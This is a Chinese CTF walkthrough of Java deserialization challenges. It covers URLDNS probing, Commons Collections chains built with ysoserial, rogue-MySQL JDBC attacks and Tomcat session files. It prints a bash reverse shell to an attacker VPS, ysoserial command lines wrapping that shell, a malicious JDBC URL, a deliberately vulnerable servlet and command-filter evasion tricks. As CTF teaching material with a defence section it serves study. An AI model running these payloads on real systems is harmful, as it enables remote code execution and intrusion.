CTFSHOW Java反序列化实战:从URLDNS到CC链的完整通关指南
最近在CTFSHOW平台上刷题,发现Java反序列化这个系列真是块硬骨头,但又特别有意思。从最基础的URLDNS探测,到各种Commons Collections链的灵活运用,再到结合数据库驱动的复杂利用,整个过程就像在玩一个精心设计的解谜游戏。很多刚接触安全的朋友可能会被“反序列化”这个词吓到,觉得它涉及底层机制和复杂的链式调用,门槛太高。其实不然,只要你愿意跟着实战步骤一步步走,把每个环节的原理和操作都弄明白,你会发现这些题目背后有一套清晰的逻辑。这篇文章,我就想把自己在CTFSHOW上通关Java反序列化题目的经验、踩过的坑以及一些实用的技巧整理出来,希望能给同样在路上的朋友一些参考。我们不会只停留在“用什么工具打什么命令”的层面,而是会深入看看这些payload是怎么构造出来的,为什么有时候链子会失效,以及面对不同限制时我们该如何调整策略。
1. 环境准备与工具配置:打好地基
在真正开始解题之前,花点时间把环境搭建好是绝对值得的。一个顺畅的本地测试环境能帮你快速验证payload,理解反序列化的触发过程,而不是在黑盒里盲目尝试。
1.1 核心工具ysoserial的获取与使用
ysoserial几乎是Java反序列化研究的标配工具,它集成了多种主流库的利用链。获取它有两种主流方式:
- 直接下载编译好的JAR包:对于只想快速上手的同学,这是最方便的选择。你可以在GitHub的Release页面找到最新版本。不过,从安全角度出发,我强烈建议你验证一下JAR包的哈希值。
- 从源码编译构建:这能让你更深入地理解工具本身,并且可以方便地查看和调试各种利用链的代码。你需要有Maven环境。
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
编译成功后,你会在 target 目录下找到 ysoserial-0.0.6-SNAPSHOT-all.jar 这样的文件。后续我们统一用 ysoserial.jar 来指代它。
注意:ysoserial生成的payload具有攻击性,务必仅在你自己控制的实验环境或合法的CTF靶场中使用,切勿对未授权的系统进行测试。
使用ysoserial的基本命令格式很简单:
java -jar ysoserial.jar [GadgetChain] "[Command]" | base64
例如,生成一个URLDNS链的payload来探测一个DNS查询:
java -jar ysoserial.jar URLDNS "http://your-dns-log-server.example.com" | base64
这里通过管道 | 将生成的二进制序列化数据直接进行base64编码,这是Web题目中传递payload的常见方式。
1.2 本地漏洞环境搭建
为了理解漏洞原理和测试payload,最好能本地搭建一个简单的、存在反序列化漏洞的Web应用。你可以使用诸如Vulhub、vulstudy等集成漏洞环境,也可以自己写一个简单的Servlet。
下面是一个极度简化的、存在反序列化漏洞的Java Web示例代码片段:
// 这是一个存在风险的示例,仅用于教育目的
@WebServlet("/deserialize")
public class VulnerableServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String data = request.getParameter("data");
if (data != null) {
try {
byte[] decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
// 危险操作:反序列化不可信的输入
Object obj = ois.readObject();
ois.close();
response.getWriter().println("Object deserialized: " + obj.getClass().getName());
} catch (Exception e) {
response.getWriter().println("Error: " + e.getMessage());
}
}
}
}
将这个Servlet部署到Tomcat,你就有了一个最简单的靶子。通过向 /deserialize 发送POST请求,参数 data 放入base64编码后的payload,就能触发反序列化。
1.3 辅助工具与调试准备
- Java调试:准备好IDEA或Eclipse,学会远程调试Tomcat。当payload不生效时,通过调试可以清晰地看到程序执行到哪一步抛出了异常,是链子断了还是环境不满足。
- 网络监听:
nc(Netcat) 是接收反弹Shell的利器。tcpdump或Wireshark可以用来观察URLDNS链是否成功触发DNS请求。 - 编码工具:命令行下的
base64、urlencode工具,或者使用Python脚本快速处理,会极大提升效率。CTF题目中经常需要对payload进行多次编码。
2. 入门基石:理解与利用URLDNS链
URLDNS链是Java反序列化学习中最经典、最安全的“敲门砖”。它不执行任意命令,只发起一次DNS查询,因此常被用来验证目标是否存在反序列化入口点,以及确认payload是否被成功触发。
2.1 URLDNS链的核心原理
这条链非常巧妙,它利用了Java内置类 java.net.URL 的一个特性:当两个 URL 对象进行相等性比较(如放入 HashMap 时计算哈希值)时,会触发其 getHostAddress() 方法,该方法会解析主机名,从而发起DNS查询。
链的触发流程可以简化为:
- 构造一个特殊的
HashMap,其键为一个URL对象。 - 在反序列化这个
HashMap的过程中,为了重建其内部状态(如计算哈希桶位置),会调用URL对象的hashCode()方法。 URL.hashCode()在第一次计算时(hashCode为-1时),会调用getHostAddress()进行DNS解析。
提示:URLDNS链的“无害性”体现在它只进行DNS解析,不涉及任何反射或类加载机制,因此不受Java安全管理器(SecurityManager)或RMI类加载限制的影响,通用性极高。
2.2 在CTFSHOW实战中的应用
以 web846 为例,题目通常提供一个接收序列化数据的端点。我们的任务就是生成一个能触发DNS查询的payload。
操作步骤:
- 准备一个DNSLOG平台:使用如
ceye.io、dnslog.cn等平台获取一个临时子域名,例如abc123.dnslog.cn。 - 生成Payload:
这条命令会生成一串base64编码的字符串。java -jar ysoserial.jar URLDNS "http://abc123.dnslog.cn" | base64 - 发送Payload:将生成的base64字符串,作为参数(可能是
data、payload或通过Cookie、Header传递)发送给题目靶机。这里有一个关键细节:很多Web题目在传输过程中会对参数进行URL编码,因此你可能需要将base64字符串再进行一次URL编码。# 假设使用curl,并且题目参数是‘input’ payload_b64=$(java -jar ysoserial.jar URLDNS "http://abc123.dnslog.cn" | base64 | tr -d '\n') payload_urlencoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$payload_b64'''))") curl -X POST 'http://target-ctf-show-challenge.com/' --data-urlencode "input=$payload_urlencoded" - 验证结果:稍等片刻,刷新你的DNSLOG平台页面。如果看到一条对
abc123.dnslog.cn的DNS查询记录,那么恭喜你,目标存在Java反序列化漏洞,并且你的payload成功触发了!
为什么URLDNS链如此重要? 在攻击链未知或环境不明时,盲目使用命令执行链可能会失败或触发防护。URLDNS链提供了一个低风险、高确定性的探测手段。在CTFSHOW的系列题目中,它往往是第一道关卡,旨在让你确认反序列化漏洞的存在,并熟悉基本的payload生成和提交流程。
3. Commons Collections (CC) 链的深度剖析与实战选择
当我们确认漏洞存在后,下一步就是利用它执行命令,获取Shell或读取flag。这时,Apache Commons Collections库(简称CC链)就成了主力军。CC链之所以强大,是因为它提供了一系列可以“链式”调用的Transformer对象,通过反射机制最终能执行任意方法。
3.1 CC链版本差异与选择指南
这是新手最容易困惑的地方。ysoserial中的CC链编号(CC1, CC2, CC3...)对应着不同的利用链构造方式和依赖的Commons Collections库版本。
| 链名称 (ysoserial) | 主要依赖库版本 | 关键利用类 | 特点与适用场景 |
|---|---|---|---|
| CommonsCollections1 | commons-collections: 3.1 | TransformedMap, LazyMap, AnnotationInvocationHandler | 最经典的链,但依赖JDK版本(<=7u80)和sun.reflect.annotation.AnnotationInvocationHandler。 |
| CommonsCollections2 | commons-collections4: 4.0 | PriorityQueue, TransformingComparator | 利用PriorityQueue的排序触发转换,不依赖AnnotationInvocationHandler。 |
| CommonsCollections3 | commons-collections: 3.1 | TemplatesImpl, TrAXFilter, InstantiateTransformer | 通过加载字节码执行命令,可以绕过一些基于Runtime.exec的过滤。 |
| CommonsCollections4 | commons-collections4: 4.0 | PriorityQueue, TransformingComparator | 类似CC2,但使用了不同的Transformer组合。 |
| CommonsCollections5 | commons-collections: 3.1 | BadAttributeValueExpException, TiedMapEntry | 利用BadAttributeValueExpException在反序列化时自动调用toString的特性。 |
| CommonsCollections6 | commons-collections: 3.1 | HashSet, HashMap | 利用HashSet反序列化时对元素的处理来触发。 |
| CommonsCollections7 | commons-collections: 3.1 | Hashtable | 利用Hashtable的put/remove方法触发比较操作。 |
选择策略:
- 看题目提示或依赖:CTF题目有时会明确给出库版本信息。例如,题目说“不准用TransformedMap”(web848),那就意味着要避开CC1、CC5、CC6、CC7(它们都间接使用了
TransformedMap或LazyMap),可以考虑CC3。 - 看JDK版本:如果目标环境是较高版本的JDK(>=8),CC1可能失效,需要转向CC2、CC4或CC3。
- 看命令过滤情况:如果
Runtime.getRuntime().exec()被过滤,CC3链的TemplatesImpl加载字节码方式可能成为突破口。
3.2 实战Payload构造与命令执行
我们以 web847 为例,它通常是一个标准的CC链命令执行题。
步骤一:准备反弹Shell命令 在攻击机上监听一个端口:
nc -lvnp 4444
构造一个bash反弹Shell命令,并转换为base64,避免特殊字符问题:
bash -c 'bash -i >& /dev/tcp/你的VPS_IP/4444 0>&1'
# 将其base64编码
echo "bash -c 'bash -i >& /dev/tcp/你的VPS_IP/4444 0>&1'" | base64
# 得到类似 YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvNDQ0NCAwPiYxJwo= 的字符串
步骤二:生成CC1 Payload 假设题目环境是Commons Collections 3.1,我们可以使用CC1链:
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvNDQ0NCAwPiYxJwo=}|{base64,-d}|{bash,-i}" | base64
这里利用了bash的{echo,base64}|{base64,-d}|{bash,-i}语法来解码并执行命令,是一种非常常见的绕过方式。
步骤三:编码与发送 将上一步得到的base64 payload,根据题目要求进行URL编码,然后通过POST参数或Cookie等方式发送。
步骤四:接收Shell 如果一切顺利,你的nc监听端会收到一个反弹回来的Shell。
3.3 绕过限制:CC链的转换与魔改
CTF题目不会总是让你一帆风顺地使用现成工具。例如 web851-web853,直接使用ysoserial的默认链可能无法打通。这时就需要我们根据原理,对链进行修改。
常见限制与应对:
- 限制使用某些类:如web848禁用
TransformedMap,那就换用LazyMap相关的链(CC1本身也用LazyMap,但题目可能特指),或者直接使用CC3。 - Commons Collections版本不匹配:ysoserial的CC1/3/5/6/7针对3.1版本,CC2/4针对4.0版本。如果题目是4.0库,你用了CC1,肯定会失败。web851-web853就需要将基于CC7(3.1版)的链,适配到4.0版本的
DefaultedMap类上,这需要你读懂ysoserial源码并做相应修改。 - 命令过滤:过滤了
bash、nc、sh等。可以尝试:- 使用编码混淆,如
$(printf '\x2f\x62\x69\x6e\x2f\x73\x68')代替/bin/sh。 - 使用其他语言解释器,如
python -c 'import os; os.system("cmd")'。 - 使用CC3链的字节码加载,完全绕过命令字符串。
- 使用编码混淆,如
魔改链示例思路:
当你发现标准链不行时,需要自己编写Java代码构造payload。核心是理解链的触发点:找到一个在反序列化时会自动调用某些方法(如compare、equals、hashCode、toString)的“起点类”(如PriorityQueue、BadAttributeValueExpException、Hashtable),然后将一串能通过反射执行命令的Transformer链巧妙地挂接到这个起点上。这个过程需要反复调试和查阅Java源码。
4. 进阶利用:数据库驱动与框架层面的反序列化
在攻破基础的CC链之后,CTFSHOW的题目会将场景扩展到更真实的组件中,例如数据库连接(JDBC)和Web框架(如Tomcat)。这要求我们具备更广的知识面。
4.1 JDBC反序列化漏洞利用
以 web856 和 web857 为例,漏洞点出现在应用程序使用攻击者控制的JDBC连接字符串时。某些MySQL和PostgreSQL的JDBC驱动存在特性,在建立连接时会自动反序列化服务器返回的特定数据。
利用流程:
-
搭建恶意MySQL服务器:使用工具如
MySQL_Fake_Server或rogue-mysql-server。你需要配置这个假服务器,使其在客户端连接时,返回一个精心构造的、包含ysoserial payload的序列化对象。// 示例性的config.json 配置片段 { "fileread": {}, "yso": { "CommonsCollections4": ["calc"] // 或 ["bash", "-c", "..."] } }将工具监听的端口改为非标准端口(如3307),避免冲突。
-
构造恶意的JDBC连接字符串:让目标应用程序去连接你的恶意服务器。
jdbc:mysql://你的VPS_IP:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc关键参数
autoDeserialize=true和queryInterceptors会触发驱动的反序列化行为。user参数的值yso_CommonsCollections4_calc会指示恶意服务器使用CC4链执行calc命令(在测试中可改为反弹Shell命令)。 -
生成并发送Payload:对于CTF题目,你需要将包含这个恶意连接字符串的Java对象(如一个
Connection对象)序列化、base64编码后提交。题目提供的代码通常展示了如何通过反射构造这样一个对象。
注意:不同数据库驱动、不同版本的利用方式可能存在差异。PostgreSQL的利用(web857)可能涉及通过驱动参数将恶意代码写入服务器文件,从而实现Webshell写入,这需要你对目标路径有准确的判断。
4.2 Tomcat Session反序列化
web858 涉及的是Tomcat的Session持久化机制。如果Tomcat配置了通过文件存储Session(PersistentManager),并且存储Session的目录可控或可预测,攻击者上传一个精心构造的Session文件(.session),然后通过设置相应的JSESSIONID Cookie,就能诱使Tomcat反序列化该文件,从而执行恶意代码。
利用关键点:
- 文件上传点:找到可以上传文件的地方,并能够知道文件存储的路径。
- Session文件命名规则:Tomcat Session文件名通常与
JSESSIONID有关。例如,上传文件名为abc.session,那么访问时设置JSESSIONID=../../path/to/abc(去掉扩展名并匹配路径)可能触发反序列化。 - 构造恶意Session对象:你需要序列化一个包含恶意利用链的对象。这里不一定局限于CC链,任何在目标应用类路径中可用的利用链都可以。题目中示例使用了自定义的
User类,通过反射设置其字段为系统命令,然后序列化写入文件。 - 绕过过滤:题目常过滤
nc、bash。这时需要灵活变通,比如使用cp /flag /web-path/直接复制flag到Web目录,然后通过浏览器访问;或者使用其他未被过滤的命令和语法。
5. 调试技巧、常见问题与防御浅谈
实战中,十次尝试可能有九次失败。掌握调试方法和知道如何排查问题,比记住一个payload更重要。
5.1 常见失败原因排查清单
- “工具打过去没反应”:
- 编码问题:Payload是否经过了正确的base64和URL编码?是否有多余的换行符?用
echo -n或tr -d '\n'处理一下。 - 链选择错误:目标环境的Commons Collections版本是否匹配?用URLDNS链确认漏洞是否存在且payload可触发。
- 命令执行被拦截:目标服务器是否有安全软件?命令是否被过滤?尝试执行
whoami或id这种简单命令,或者使用编码、引号拆分等方式绕过。 - 网络连通性:反弹Shell的IP和端口是否可达?服务器是否有出网限制?尝试用DNSLOG或HTTP请求外带数据来测试出网情况。
- 编码问题:Payload是否经过了正确的base64和URL编码?是否有多余的换行符?用
- “报错 java.lang.ClassNotFoundException”:
- 利用链中的某个类不在目标应用的类路径中。你需要寻找其他利用链,或者利用目标应用自身的类(即“不出网”利用)。
- “报错 Invalid type code”:
- 序列化数据在传输过程中可能被损坏,检查编码解码过程。
5.2 本地调试与源码分析
当现成payload不 work 时,唯一的方法是深入细节。
- 在IDEA中调试ysoserial:将ysoserial源码导入,在你想要分析的Gadget链(如
CommonsCollections1)的getObject()方法开始处打上断点。然后以Debug模式运行它,观察整个对象链是如何被一步步构造出来的。 - 远程调试靶机应用:在启动靶机Tomcat时加入JPDA调试参数,然后在IDEA中配置远程调试。将payload发送到靶机,当靶机反序列化时,程序会暂停在你的断点处。你可以清晰地看到,为什么链走到某一步就抛出了异常,是哪个类没找到,还是哪个方法被SecurityManager禁止了。
- 分析目标依赖:如果可能,尝试获取目标应用的JAR包或WEB-INF/lib目录列表,分析其使用的库和版本,这是选择正确利用链的基础。
5.3 浅谈安全防御
作为攻击技术的学习者,了解防御措施同样重要,这能帮助你从更高维度理解漏洞。
- 输入验证:绝不反序列化任何来自外部的、不可信的数据。
- 使用白名单:如果业务必须反序列化,使用
ObjectInputFilter(Java 9+)或第三方库(如Apache Commons IO的ValidatingObjectInputStream)严格限制可反序列化的类。 - 升级与隔离:及时升级有已知漏洞的第三方库(如Commons Collections)。考虑在安全沙箱或低权限环境中运行反序列化功能。
- 日志与监控:对反序列化操作进行日志记录,监控异常的反序列化尝试或可疑的类加载行为。
在CTFSHOW刷题的过程中,我最大的体会是,反序列化漏洞的利用就像搭积木,你需要对Java的序列化机制、常见库的API特性以及反射的使用都非常熟悉。死记硬背payload是走不远的,一定要动手调试,理解每一条链为什么能串起来,每个Transformer做了什么。遇到难题时,多看看官方文档、源码和社区的分析文章。最后,记得所有的练习都应在合法授权的环境下进行,技术的提升是为了更好地构建防御,而非破坏。
4678



被折叠的 条评论
为什么被折叠?



